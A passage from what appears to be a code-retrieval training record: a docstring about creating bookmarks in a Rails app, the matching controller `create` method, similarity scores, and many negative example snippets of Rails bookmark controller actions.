"def search_button(form)\n form.submit(\"Search\", hidden: \"\")\n end",
"def search_path=(search_path); end",
"def search_path=(search_path); end",
"def link_back_to_catalog(opts={:label=>'Back to Search Results'})\n query_params = session[:search].dup || {}\n query_params.delete :counter\n query_params.delete :total\n # use ordered parameters of session[:orderly_search_params] instead\n query_params.delete :q\n query_params.delete :search_field\n query_params.delete :f\n orderly_query_params = session[:orderly_search_params]\n query = orderly_query_params ? orderly_query_params[:q] : {}\n facet_query = orderly_query_params ? orderly_query_params[:f] : {}\n orderly_query_faceting_parameters = params_for_url (query.empty? ? facet_query : query.merge(facet_query))\n other_params = catalog_index_path(query_params)\n link_url = other_params.include?(\"?\") ? other_params.split(\"?\")[0] + orderly_query_faceting_parameters + \"&\" + other_params.split(\"?\")[1] : other_params + orderly_query_faceting_parameters \n link_to opts[:label], link_url\n end"
] | [
"0.77952254",
"0.7777474",
"0.775188",
"0.74062866",
"0.71732396",
"0.712616",
"0.7099677",
"0.7044526",
"0.7044526",
"0.7001695",
"0.6920289",
"0.68695915",
"0.67872316",
"0.6755635",
"0.6737442",
"0.6682148",
"0.65653574",
"0.6512726",
"0.6508567",
"0.64770937",
"0.6469119",
"0.64675003",
"0.6431631",
"0.6423633",
"0.6411753",
"0.6402825",
"0.63468665",
"0.6343804",
"0.6329087",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63124156",
"0.63068706",
"0.630682",
"0.63061213",
"0.6272891",
"0.626002",
"0.62550575",
"0.62392664",
"0.62361073",
"0.62330365",
"0.6230567",
"0.62301886",
"0.62207574",
"0.6209418",
"0.62077117",
"0.6206186",
"0.6188369",
"0.6188369",
"0.61814415",
"0.6169622",
"0.6165992",
"0.6165507",
"0.61628395",
"0.61612755",
"0.61368585",
"0.61183125",
"0.61159503",
"0.6101956",
"0.60960037",
"0.60730517",
"0.60725856",
"0.60624737",
"0.6044738",
"0.60353607",
"0.60332274",
"0.6015698",
"0.5981009",
"0.59696054",
"0.5956673",
"0.59562784",
"0.595539",
"0.59544647",
"0.5951933",
"0.59517163",
"0.5951113",
"0.59510154",
"0.59471744",
"0.59442234",
"0.59436405",
"0.59417135",
"0.59397614",
"0.59380126",
"0.59288573",
"0.592508",
"0.5922759",
"0.5921166",
"0.5913128",
"0.5910375",
"0.58935684",
"0.58890927",
"0.58890927",
"0.5888098"
] | 0.7715901 | 3 |
For adding a single bookmark, suggest use PUT to /bookmarks/:document_id instead (triggering the update method). This method, accessed via POST to /bookmarks, can be used for creating multiple bookmarks at once, by posting with keys such as bookmarks[n][document_id], bookmarks[n][title]. It can also be used for creating a single bookmark by including keys bookmark[title] and bookmark[document_id], but in that case update is simpler. | def create
@bookmarks = if params[:bookmarks]
permit_bookmarks[:bookmarks]
else
[{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]
end
current_or_guest_user.save! unless current_or_guest_user.persisted?
bookmarks_to_add = @bookmarks.reject { |bookmark| current_or_guest_user.bookmarks.where(bookmark).exists? }
success = ActiveRecord::Base.transaction do
current_or_guest_user.bookmarks.create!(bookmarks_to_add)
rescue ActiveRecord::RecordInvalid
false
end
if request.xhr?
success ? render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } }) : render(json: current_or_guest_user.errors.full_messages, status: "500")
else
if @bookmarks.any? && success
flash[:notice] = I18n.t('blacklight.bookmarks.add.success', count: @bookmarks.length)
elsif @bookmarks.any?
flash[:error] = I18n.t('blacklight.bookmarks.add.failure', count: @bookmarks.length)
end
redirect_back fallback_location: bookmarks_path
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @bookmark = Bookmark.create(bookmark_params)\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n \n respond_to do |format|\n if @bookmark.save\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @bookmark }\n else\n # format.html { render :new }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_bookmark(url, options = {})\n perform_post_with_object('/api/1.1/bookmarks/add', options.merge(url: url), Instapaper::Bookmark)\n end",
"def update\n bookmark = Bookmark.find_by(id: params[:id])\n bookmark.update(\n name: bookmark.name,\n path: bookmark.path,\n note_id: params[:note_id],\n user_id: current_user.id,\n screenshot_data: bookmark.screenshot_data\n )\n if bookmark.save\n render json: { message: \"success\"}\n else\n render json: { errors: bookmark.full_messages }, status: 422\n end\n end",
"def update\n if @bookmark.update(bookmark_params)\n render json: { bookmark: @bookmark }, status: :ok\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def bookmark_params\n params.permit(:bookmark, :post_id)\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n if @bookmark.save\n render json: { bookmark: @bookmark }, status: :created\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render :index, status: :created, location: @bookmark }\n else\n format.html { render :index }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:name, :url, :topic_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:name, :url, :tag_id, :category_id)\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.user_id = current_user.id\n\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @redirect, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: bookmarks_path }\n else\n format.html { redirect_to @redirect, alert: \"Bookmark could not be saved\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = @tag.bookmarks.new(bookmark_params)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to path_for_redirect, notice: \"Bookmark, #@bookmark created.\" }\n\n format.json { render json: @bookmark, status: :created }\n else\n format.html { render :new }\n\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def existing_bookmark_for(document_id)\n # to_a, we don't want to go to the database, we want to use cached\n # copy. \n self.bookmarks.to_a.find {|b| b.document_id == document_id}\n end",
"def bookmark_params\n params.require(:bookmark).permit(:url, :title, :notes, :tag_list)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :description, :user, :url, :tags, :favourite)\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @bookmark.update(bookmark_params)\n\t\t\t\tformat.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @bookmark }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url, category_id: [], kind_id: [])\n end",
"def bookmark_params\n params.require(:bookmark).permit(:user_id, :receipe_id)\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.save\n @bookmarks = Bookmark.all\n\n # respond_to do |format|\n # if @bookmark.save\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n # format.json { render :show, status: :created, location: @bookmark }\n # else\n # format.html { render :new }\n # format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def bookmark_params\n params.require(:bookmark).permit([:title, :url, :category, :is_favorite, :comment])\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @title = PageTitleGetter.new(params[:bookmark][:url]).title\n @bookmark.name = @title\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to topic_bookmarks_path, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @bookmark }\n else\n format.html { render :new }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit([:title, :url, :category, :comment, :is_favorite])\n end",
"def create\n if session[:user_id]\n user = User.find(session[:user_id])\n params[:bookmark][:user] = user\n @bookmark = Bookmark.new(params[:bookmark])\n if params[:tag]\n @tags = params[:tag]\n @tags.each do |tag|\n objTag = Tag.find(tag)\n @bookmark.tags << objTag\n end\n end\n if @bookmark.url.include?(\"http://\")\n else\n @bookmark.url = \"http://\" + @bookmark.url\n end\n \n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to \"/login\"\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:poi_id)\n end",
"def create\n bookmark = Bookmark.find_or_create_by_URL(params[:bookmark][:URL])\n\n @user_bookmark = UserBookmark.new(:bookmark_id => bookmark.id, :user_id => current_user.id)\n\n respond_to do |format|\n if @user_bookmark.save\n format.html { redirect_to(bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @user_bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmarking).permit(:post_id)\n end",
"def create\n @bookmark = Bookmark.new(params[:bookmark])\n# req = ActiveSupport::JSON.decode(request.body)\n# @bookmark = Bookmark.new(req)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url, :desc, :group_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:title, :url, :tag_list)\n end",
"def create\n #@bookmark = Bookmark.new(params[:bookmark])\n #\n #respond_to do |format|\n # if @bookmark.save\n # format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n # format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n # else\n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n # end\n #end\n\n #@bookmark = current_user.bookmarks.build(params[:bookmark])\n \n @user = @current_user\n @bookmark = @current_user.bookmarks.build(params[:bookmark])\n @user.bookmarks << @bookmark\n \n #@bookmarkuser = @current_user.bookmarkusers.build(params[:bookmark])\n #\n \n \n \n #@bookmarkuser.save\n \n if @bookmark.save\n flash[:success] = \"Bookmark created!\"\n redirect_to root_path, :flash => { :success => \"Bookmark created!\" }\n else\n render 'pages/home'\n end\n\n end",
"def bookmark_params\n params.require(:bookmark).permit(:url, :title, :tag_list)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:message_id)\n end",
"def bookmark_param\n params.require(:bookmark).permit(:user_id, :review_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:user_id, :record_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:comment, :movie_id)\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def create\n @solicitation_bookmark = SolicitationBookmark.new(solicitation_bookmark_params)\n\n respond_to do |format|\n if @solicitation_bookmark.save\n format.html { redirect_to @solicitation_bookmark, notice: 'Solicitation bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @solicitation_bookmark }\n else\n format.html { render :new }\n format.json { render json: @solicitation_bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n # params.require(:bookmark).permit(:project_id)\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def update\n req = ActiveSupport::JSON.decode(request.body)\n @bookmark = Bookmark.find(req)\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:id])\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @public_bookmark = PublicBookmark.new(public_bookmark_params)\n\n respond_to do |format|\n if @public_bookmark.save\n format.html { redirect_to @public_bookmark, notice: 'Public bookmark was successfully created.' }\n format.json { render :show, status: :created, location: @public_bookmark }\n else\n format.html { render :new }\n format.json { render json: @public_bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(bookmark)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'bookmark', bookmark)\n\t\t\tclient.queue_service_action_call('bookmark', 'add', 'bool', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def set_bookmark\n\t\t@bookmark = Bookmark.find(params[:id])\n\tend",
"def bookmark_params\n params.permit(:user_id, :raffle_id)\n end",
"def create\n @bookmarklet = Bookmarklet.new(params[:bookmarklet])\n @bookmarklet.author = current_user\n\n respond_to do |format|\n if @bookmarklet.save\n flash[:notice] = 'Bookmarklet was successfully created.'\n format.html { redirect_to(@bookmarklet) }\n format.xml { render :xml => @bookmarklet, :status => :created, :location => @bookmarklet }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmarklet.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tbookmark_params = {\n\t\t\t:owner => Prover.find(params[:owner]),\n\t\t\t:post => Post.find(params[:post])\n\t\t}\n\n\t\t@bookmark = Bookmark.new(bookmark_params)\n\n\t\trespond_to do |format|\n\t\t\tif @bookmark.save\n\t\t\t\tformat.html { render :json => @bookmark }\n\t\t\t\tformat.json { render :show, status: :created, location: @bookmark }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def bookmark_params\n params.require(:bookmark).permit(:url, :title, :private, :desc, :is_archived, :tag_list)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:bookmark_type, :user_id, :value, :cover)\n end",
"def savebookmark\n\t\t\t\turl_str = save_bookmark_params[:url]\n\t\t\t\tannotations = get_annotations(url_str)\n\t\t\t\turl = Url.find_by_url(url_str)\n\t\t\t if url.nil?\n\t\t\t url = Url.new({:url => save_bookmark_params[:url], :icon => annotations[:icon]})\n\t\t\t if !url.save\n\t\t\t render :status => 404\n\t\t\t end\n\t\t\t else\n\t\t\t Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n\t\t\t end\t\t \n\t\t\t @bookmark = Bookmark.new({:title => save_bookmark_params[:title], :description => save_bookmark_params[:description], :url => url, :user_id => doorkeeper_token.resource_owner_id})\t\t\t \n\n\t\t\t tags = save_bookmark_params[:tags].split(\",\")\n\t\t\t tags.each do |tag|\n\t\t\t if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n\t\t\t @tag = Tag.new\n\t\t\t @tag.tagname = tag.strip.gsub(' ','-').downcase\n\t\t\t @bookmark.tags << @tag\n\t\t\t else\n\t\t\t @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n\t\t\t end\n\t\t\t end unless tags.nil?\t\t\t \n\t\t\t \n\t\t\t if @bookmark.save\n\t\t\t \trespond_to do |format|\n \t\t\t\t\t\tformat.json{ render :json => strip_bookmark_to_json(@bookmark).to_json }\n\t\t\t\t\tend\t\t\t \n\t\t\t else\n\t\t\t format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t\t end\t\t\t \n\t\t\tend",
"def bookmark_params\n params.require(:bookmark).permit([:url, :title, :comment, :category, :checkbox])\nend",
"def bookmark_params\n params.require(:bookmark).permit(:title, :description, :url_attributes => :url)\n end",
"def bookmark(url, name = \"\")\n Item.create(:bookmark, {:name => name, :redirect_url => url})\n end",
"def update\n respond_to do |format|\n if @bookmark.update(bookmark_params)\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookmark }\n else\n # format.html { render :edit }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bookmark.update(bookmark_params)\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookmark }\n else\n format.html { render :edit }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bookmark.update(bookmark_params)\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookmark }\n else\n format.html { render :edit }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = current_user.bookmarks.new(params[:bookmark])\n\n respond_to do |format|\n if @bookmark.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.bookmark'))\n @bookmark.create_tag_index\n @bookmark.manifestation.index!\n if params[:mode] == 'tag_edit'\n format.html { redirect_to(@bookmark.manifestation) }\n format.json { render :json => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { redirect_to(@bookmark) }\n format.json { render :json => @bookmark, :status => :created, :location => @bookmark }\n end\n else\n @user = current_user\n format.html { render :action => \"new\" }\n format.json { render :json => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n\n session[:params][:bookmark] = nil if session[:params]\n end",
"def bookmark_params\n\t\tparams[:bookmarks]\n\tend",
"def set_bookmark\n @bookmark = current_user.bookmarks.find(params[:id])\n end",
"def update_bookmark_params\n\t\t\t params.permit(:bookmark_id, :url, :title, :description, :tags)\n\t\t\tend",
"def set_bookmark(bm_name, value)\n raise_if_no_document\n bm_range = set_at_bookmark(bm_name, value)\n @doc.Bookmarks.Add bm_name, bm_range\n end",
"def updatebookmark\n\t\t\t\turl_str = update_bookmark_params[:url]\n\t\t\t\tannotations = get_annotations(url_str)\n\t\t\t\turl = Url.find_by_url(url_str)\t\t\n\n\t\t\t url = Url.find_by_url(update_bookmark_params[:url])\n\t\t\t if url.nil?\n\t\t\t url = Url.new({:url => update_bookmark_params[:url], :icon => annotations[:icon]})\n\t\t\t if !url.save\n\t\t\t format.json { render status: :unprocessable_entity }\n\t\t\t end\n\t\t\t else\n\t\t\t Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n\t\t\t end\t\n\n\t\t\t @bookmark = Bookmark.find_by_id(update_bookmark_params[:bookmark_id])\n\t\t\t if @bookmark.nil?\n\t\t\t format.json { render status: :unprocessable_entity }\n\t\t\t end\n\t\t\t @bookmark.title = update_bookmark_params[:title]\n\t\t\t @bookmark.description = update_bookmark_params[:description]\n\t\t\t @bookmark.url = url\n\t\t\t @bookmark.user_id = doorkeeper_token.resource_owner_id\n\n\t\t\t @bookmark.tags.clear\n\n\t\t\t tags = update_bookmark_params[:tags].split(\",\")\n\t\t\t tags.each do |tag|\n\t\t\t if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n\t\t\t @tag = Tag.new\n\t\t\t @tag.tagname = tag.strip.gsub(' ','-').downcase\n\t\t\t @bookmark.tags << @tag\n\t\t\t else\n\t\t\t @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n\t\t\t end\n\t\t\t end unless tags.nil?\n\n\t\t\t \n\t\t \tif @bookmark.save\n\t\t \trespond_to do |format|\n\t\t\t\t\t\tformat.json{ render :json => strip_bookmark_to_json(@bookmark).to_json }\n\t\t\t\t\tend\t\t \n\t\t \telse\t\t\t \n\t\t \t format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n\t\t \tend\n\t\t\tend",
"def update\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:bookmark])\n flash[:notice] = 'Bookmark was successfully updated.'\n format.html { redirect_to(@bookmark) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:bookmark])\n flash[:notice] = 'Bookmark was successfully updated.'\n format.html { redirect_to(@bookmark) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add(document)\n @rest.post(\"/#{@db_name}\", [document])\n end",
"def add(document)\n # TODO: Need to validate that it is not already in there?\n doc_id = Maglev::System.increment_pcounter(MDB::SHARED_COUNTER)\n raise DocumentAlreadyExists if @documents.key? doc_id # Shouldn't happen...\n @documents[doc_id] = document\n\n # set the id field, if it has one\n document.id = doc_id if document.respond_to? :id=\n\n # We do the callback within the txn so that the model can\n # persistently update data structures and commit them.\n @view.document_added(doc_id, document) if @view.respond_to? :document_added\n doc_id\n end",
"def create\n @bookmark = Bookmark.new(bookmark_param)\n review = Review.find_by(id: params[:bookmark][:review_id])\n if @bookmark.save\n redirect_to :back\n else\n render 'new'\n end\n end",
"def create\n @bookmark = Bookmark.new(params[:bookmark])\n @bookmark.publisher = current_account\n @bookmark.should_tweet = params[:twitter]\n \n respond_to do |format|\n if @bookmark.save\n flash[:notice] = 'Bookmark was successfully created.'\n format.html { redirect_to(@bookmark) }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n incomplete = true\n error = false\n if ((params[:url] != nil) &&( (params[:description] != nil ) || (params[:bookmark][\"title\"] != nil )))\n incomplete = false\n url = nil\n if params[:url][:url]\n url = params[:url][:url]\n else\n url = params[:url]\n end\n if not ((url =~ /^http:\\/\\//) || (url =~ /^https:\\/\\//))\n url = \"http://\" + url\n end\n link = Link.find_by_url(url) || Link.new(:url => url)\n link.save\n if link.users.include?(current_user)\n flash[:message] = \"Already in\"\n else\n datetime = nil\n datetime = params[:dt] if params[:dt]\n description = params['description'] || params[:bookmark]['title']\n\n new_bookmark = Bookmark.new(:title => description, :link_id => link.id, :user_id => current_user.id, :bookmarked_at => (datetime || Time.now))\n new_bookmark.private = 1 if ((params[:shared] && (params[:shared] == \"no\")))\n new_bookmark.private = params[:bookmark][\"private\"] if params[:bookmark][\"private\"]\n new_bookmark.tag_list = params['tags'] || params[:bookmark]['tags']\n current_user.bookmarks_update_at = Time.now\n if new_bookmark.save\n current_user.save\n logger.info(\"bookmark for #{url} added\")\n else\n error = true\n logger.warn(\"Error : could not save the new bookmark\")\n end\n end\n end\n respond_to do |format|\n format.xml do\n if incomplete || error\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"something went wrong\\\" />\"\n else\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"done\\\" />\"\n end\n end\n end\n end",
"def update\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:bookmark])\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:bookmark])\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def _add\n # Load a new bookmark object\n bookmark = Taupe::Model::Bookmark.load\n\n # Modify properties\n bookmark.url = @options[:url]\n bookmark.name = @options[:name]\n\n # Save in database and cache\n bookmark.save\n\n # Tags?\n unless @options[:tags].empty?\n @options[:tags].each do |tag_name|\n tag = Taupe::Model::Tag.fetch \"SELECT * FROM tag WHERE name = '#{tag_name}'\", true\n if tag.nil? || tag.empty?\n tag = Taupe::Model::Tag.load\n tag.name = tag_name\n tag.save\n end\n\n query = \"INSERT INTO bookmark_tag (bookmark_id, tag_id) VALUES (#{bookmark.bookmark_id}, #{tag.tag_id})\"\n Taupe::Model::Tag.exec query\n end\n end\n\n puts 'Bookmark added successfully'\n end",
"def set_my_bookmark\n @my_bookmark = MyBookmark.find(params[:id])\n end",
"def add(opts={})\r\n Rakuten::Request.get(\"https://app.rakuten.co.jp/services/api/FavoriteBookmark/Add/20120627\", Rakuten::Api.merge(opts))\r\n end",
"def save_bookmark_params\n\t\t\t params.permit(:url, :title, :description, :tags)\n\t\t\tend",
"def create\n\n @bookmark = Bookmark.new(params[:bookmark])\n @bookmark.user_id= session[:user_id]\n# remove backslashes to reconstruct array\n# @bookmark.folder = eval(@bookmark.folder)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmark }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Instantiate a new Product instance from the form fields, which live in the params hash\n @bookmark = Bookmark.new(bookmark_params)\n if @bookmark.save\n redirect_to bookmarks_path\n else\n render :new\n end\n end",
"def newbookmark\n @bookmarklet = bookmarklet_params(params)\n @event = @calendar.events.build\n \n respond_to do |format|\n format.html # newbookmark.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def archive_bookmark(bookmark_id)\n perform_post_with_object('/api/1.1/bookmarks/archive', {bookmark_id: bookmark_id}, Instapaper::Bookmark)\n end",
"def update\n session[:folder_document_ids] = session[:folder_document_ids] || []\n session[:folder_document_ids] << params[:id]\n \n unless request.xhr?\n respond_to do |format|\n format.html do\n flash[:notice] = \"#{(params[:bookmark] && params[:bookmark][:title]) ? params[:bookmark][:title] : \"Item\"} successfully selected\"\n redirect_to :back\n end\n end\n else\n render :text => \"OK\"\n end \n end",
"def create\n @bookmark_tag = BookmarkTag.new(params[:bookmark_tag])\n\n respond_to do |format|\n if @bookmark_tag.save\n format.html { redirect_to @bookmark_tag, notice: 'Bookmark tag was successfully created.' }\n format.json { render json: @bookmark_tag, status: :created, location: @bookmark_tag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.owner = current_user\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark.poi }\n format.json { render :show, status: :created, location: @bookmark }\n else\n format.html { redirect_to root_path, alert: t('error', scope: @t_scope) }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solicitation_bookmark.update(solicitation_bookmark_params)\n format.html { redirect_to @solicitation_bookmark, notice: 'Solicitation bookmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @solicitation_bookmark }\n else\n format.html { render :edit }\n format.json { render json: @solicitation_bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def document_is_bookmarked?(document_id)\n bookmarked_document_ids.include? document_id\n end",
"def update\n #get the bookmark to update\n @bookmark = Bookmark.find(params[:id])\n\n #Using strong params\n #update this bookmark\n\n # bookmark#update\n #this is where we actually update the model\n if @bookmark.update(bookmark_params)\n redirect_to @bookmark, notice: \"You have updated the #{@bookmark.title}\"\n else\n # No worky, try again, show me the form you.\n render :edit\n end\n end",
"def create\n session_user = session[:usr]\n receipe = Receipe.find(params[:receipe_id])\n \n if Bookmark.create(user_id: session_user, receipe_id: receipe.id)\n redirect_to receipe\n else\n \n end\n\n end",
"def update\n respond_to do |format|\n new_url = Url.find_by_url(bookmark_params[:url_attributes][:url])\n if new_url == nil\n update_bookmark_params = bookmark_params\n else\n update_bookmark_params = bookmark_params.except :url_attributes\n update_bookmark_params.merge! :url_attributes => {:id => new_url.id, :url => new_url.url}\n end\n\n if @bookmark.update update_bookmark_params\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
